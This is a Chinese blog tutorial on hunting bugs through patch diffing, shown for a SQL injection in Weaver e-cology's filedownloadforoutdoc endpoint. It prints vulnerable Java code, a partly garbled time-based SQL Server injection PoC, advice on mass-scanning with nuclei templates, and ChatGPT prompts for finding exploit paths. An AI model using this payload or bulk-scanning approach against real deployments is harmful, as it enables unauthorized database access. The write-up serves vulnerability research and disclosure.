音乐播放器
Moyv_blog
 
文章 标签
5

Powered by 墨羽 | Theme: Fog

实战SRC挖掘

实战挖掘

泛微e-cology sql注入

厂商发布漏洞补丁
补丁

下载分析补丁

  1. 按照时间找出补丁文件

unzip -l e-***.zip | grep "2023-07"

在这里插入图片描述
  1. 分析补丁文件(不懂java也没关系 扔给chatgpt)
在这里插入图片描述
if (path.indexOf("weaver") != -1 && path.indexOf("file") != -1 && path.indexOf("filedownloadforoutdoc") != -1) {
             String fileidStr = req.getParameter("fileid");
             String isFromOutImg = Util.null2String(req.getParameter("isFromOutImg"));
             if ("1".equals(isFromOutImg) && !"".equals(fileidStr) && sc.getIntValue(fileidStr) < 0) {
                 sc.writeLog(">>>>Xss(Validate failed[Perssion reject]) validateClass=weaver.security.rules.SecurityRuleForOutDocForSql  path=" + req.getRequestURI() + " fileid = " + req.getParameter("fileid") + "  fileiddes = " + fileidStr + " security validate failed!  source ip:" + ThreadVarManager.getIp());
                 return false;
             }
如果路径中包含"weaver"、"file"和"filedownloadforoutdoc"这三个关键词:

 1. 获取请求参数中的"fileid"和"isFromOutImg"的值。
 2. 如果"isFromOutImg"的值为"1",并且"fileid"的值不为空,并且将"fileid"的值转换为整数后小于0:
     - 输出一条日志,表示安全验证失败
     - 返回false,表示验证失败。
  1. 去weaver\file\filedownloadforoutdoc.class路径中去找(sql注入可能的函数 / 补丁包中的参数)
    invalid image(图片无法加载)
String var4 = Util.null2String(var1.getParameter("isFromOutImg"));
 
 // 如果"isFromOutImg"的值为"1"
 if ("1".equals(var4)) {
     RecordSet var5 = new RecordSet();
     
     // 查询imagefile表中COMEFROM字段的值,条件是imagefileid等于var3的值
     var5.executeQuery("select COMEFROM from imagefile where imagefileid=" + var3, new Object[0]);
 }

POC
filed=1+WAITFOR+DELAY%@&):):%%27&isFromOutImg=1

该poc为 sqlserver 延时注入 / 可替换其他数据库延时注入代码

  1. 环境搭建,漏洞复现
    invalid image(图片无法加载)
  2. 编写poc,批量刷洞

https://github.com/y231028/Sheep_poc/blob/main/OA%E6%BC%8F%E6%B4%9E/%E6%B3%9B%E5%BE%AE/%E6%B3%9B%E5%BE%AEe-cology_filedownloadforoutdoc_sql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/ecology-oa-filedownloadforoutdoc-sqli.yaml
在这里插入图片描述

  1. 交cnvd (通用型)/ cve
    根据时间差能换证书

偷懒小技巧

chatgpt

  1. 先用一些半自动化的审计工具 拿到一些可能存在漏洞的代码的位置或者参数
  2. 把这些可能存在漏洞的文件 复制粘贴给chatgpt
  3. 分析上述代码是否存在漏洞,如果存在请给出具体的代码块(特别注意漏洞代码块周围if等条件判断语句的绕过),简述漏洞原理,给出漏洞利用方法,(不要使用删除数据等危险方法进行漏洞验证),给出修复建议和修复后的代码示例
    在这里插入图片描述
  4. chatgpt一般不会判断存在漏洞的代码块周围的条件判断

nuclei

  1. https://nuclei.projectdiscovery.io/templating-guide/
  2. https://github.com/ExpLangcn/NucleiTP/tree/main/TPALL
  3. https://github.com/Threekiii/Awesome-POC
  4. https://medium.com/shibinco/create-a-telegram-bot-using-botfather-and-get-the-api-token-900ba00e0f39